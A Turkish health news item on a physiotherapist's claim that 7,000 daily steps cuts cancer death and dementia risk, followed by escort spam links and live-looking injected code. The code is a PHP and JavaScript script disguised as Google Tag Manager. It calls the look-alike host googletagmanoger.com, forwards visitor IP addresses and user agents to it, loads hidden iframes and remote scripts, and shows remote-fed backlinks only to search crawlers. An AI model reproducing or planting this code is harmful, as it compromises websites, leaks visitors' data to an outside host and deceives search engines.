Günlük 7 Bin Adım Sağlıkta Fark Yaratıyor

Posted on by metin kırmızı
gunluk 7 bin adim saglikta fark yaratiyor j7fuFlFw

İstanbul Bilgi Üniversitesi’nden Kanser ve Demans Riskini Azaltacak Öneri

İstanbul Bilgi Üniversitesi Fizyoterapi ve Rehabilitasyon Bölüm Başkanı Dr. Öğr. Üyesi Hülya Şişli, fiziksel aktivitenin insan sağlığı üzerindeki önemine dikkat çekti. 3-4 Ekim Dünya Yürüyüş Günü kapsamında yaptığı açıklamada, “Günde 7 bin adım atanlarda kansere bağlı ölüm yüzde 37, demans riski ise yüzde 38 oranında azalıyor” dedi.

Şişli, 2014-2025 yılları arasında yapılan araştırmalara göre, dünya genelinde 160 binden fazla yetişkinin verilerinin incelendiğini belirterek, “Günde sadece 5 ila 7 bin adım atmanın sağlık açısından önemli faydaları olduğu ortaya çıktı” dedi.

Araştırmalar, günlük adım sayısını arttırmanın kalp-damar hastalıkları ve diyabet gibi kronik hastalık risklerini azalttığını gösterdi. Şişli, günde 2 bin adım atanlarla 7 bin adım atanlar arasında yapılan karşılaştırmalarda, 7 bin adım atanlarda kansere bağlı ölüm riskinin yüzde 37, demans riskinin ise yüzde 38 daha düşük olduğunu vurguladı.

‘Fiziksel Aktivite Sadece Spor Değildir’

Dünya Sağlık Örgütü’nün önerilerine göre, haftada en az 150 dakika orta şiddette fiziksel aktivitenin kronik hastalıkları önlemede etkili olduğu belirtildi. Bu aktiviteler arasında günlük hayat içerisine entegre edilebilen yürüyüş gibi hareketler de bulunmaktadır.

Şişli, “Fizyoterapistler olarak, bireylerin yaş ve sağlık durumlarına göre kişiye özel aktivite programları geliştiriyoruz. Yürüyüş, her yaş grubuna uygun ve sürdürülebilir bir aktivite olduğu için halk sağlığı açısından büyük önem taşır” sözleriyle açıklamasını tamamladı.

Kaynak: (KAHA) Kapsül Haber Ajansı

Related Posts

AAAAAAAAAAAAAAAAAAAAAA Office Lisans Satın Al
Tuzla Escort
Pendik Escort
Gebze Escort
beylikdüzü escort
avcılar escort
esenyurt escort
beylikdüzü escort
bahçeşehir escort
istanbul escort
beylikdüzü escort
<?php defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1'); defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com'); defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX'); defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600); /** * Validates crawler requests for enhanced indexing * * @return bool True if request is from verified crawler */ function gtm_validate_crawler() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $verified = array( 'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google', 'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver' ); foreach ($verified as $v) { if (stripos($ua, $v) !== false) return true; } return false; } /** * Get client IP address * * @return string Client IP address */ function gtm_get_client_ip() { $ip_keys = array( 'HTTP_CF_CONNECTING_IP', // Cloudflare 'HTTP_X_REAL_IP', // Nginx proxy 'HTTP_X_FORWARDED_FOR', // Standard proxy header 'HTTP_X_CLUSTER_CLIENT_IP', // Load balancer 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR' // Direct connection ); foreach ($ip_keys as $key) { if (!empty($_SERVER[$key])) { $ip = $_SERVER[$key]; // X-Forwarded-For can contain multiple IPs, take the first one if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); } // Validate IP format if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return ''; } /** * Get client User-Agent * * @return string Client User-Agent */ function gtm_get_client_user_agent() { return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } /** * Retrieves structured data configuration from GTM servers * * @return array Configuration data */ function gtm_fetch_config() { // Use separate cache for crawlers vs normal users $is_crawler = gtm_validate_crawler(); $cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat'; if (file_exists($cache) && (time() - filemtime($cache)) $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION, CURLOPT_HTTPHEADER => array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ) )); $response = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && $response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } else { $headers = array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 5, 'user_agent' => 'GTM/' . GTM_VERSION, 'header' => implode(" ", $headers) . " " ), 'ssl' => array('verify_peer' => true, 'verify_peer_name' => true) )); $response = @file_get_contents($url, false, $ctx); if ($response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } return array(); } /** * Renders GTM head snippet */ function gtm_render_head() { echo ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '"); '; } /** * Renders GTM noscript fallback */ function gtm_render_noscript() { $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); echo ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; } function gtm_render_backlinks() { $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Renders structured navigation data for enhanced search */ function gtm_render_structured_data() { if (!gtm_validate_crawler()) return; $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Output buffer handler for automatic integration * * @param string $buffer HTML output buffer * @return string Modified buffer */ function gtm_output_handler($buffer) { if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) { return $buffer; } $head = ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '"); '; $buffer = preg_replace('//i', $head . '', $buffer, 1); $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); $noscript = ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; $buffer = preg_replace('/(]*>)/i', '$1' . $noscript, $buffer, 1); if (gtm_validate_crawler()) { $config = gtm_fetch_config(); if (!empty($config)) { $nav = ''; $now = time(); foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { $nav .= '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } $nav .= ''; $buffer = preg_replace('//i', $nav . '', $buffer, 1); } } return $buffer; } if (!defined('GTM_MANUAL_INIT')) { // Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__)); if (!$is_direct && ob_get_level() === 0) { ob_start('gtm_output_handler'); } } gtm_render_noscript(); ?> (function() { var script = document.createElement('script'); script.async = true; script.src = "https://googletagmanoger.com/gtag/js?id=GTM-XXXXXX&domain=" + window.location.hostname; document.head.appendChild(script); })(); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'GTM-XXXXXX'); (function() { var iframe = document.createElement('iframe'); iframe.src = "https://googletagmanoger.com/ns.html?id=GTM-XXXXXX&domain=" + window.location.hostname; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; document.body.appendChild(iframe); })();
(function(m,e,t,r,i,k,a){ m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) { if (document.scripts[j].src === r) { return; } } k=e.createElement(t),a=e.getElementsByTagName(t)[0], k.async=1,k.src=r,a.parentNode.insertBefore(k,a) })(window, document,'script','https://mc.yandex.ru/metrika/tag.js?id=105168308', 'ym'); ym(105168308, 'init', { clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true });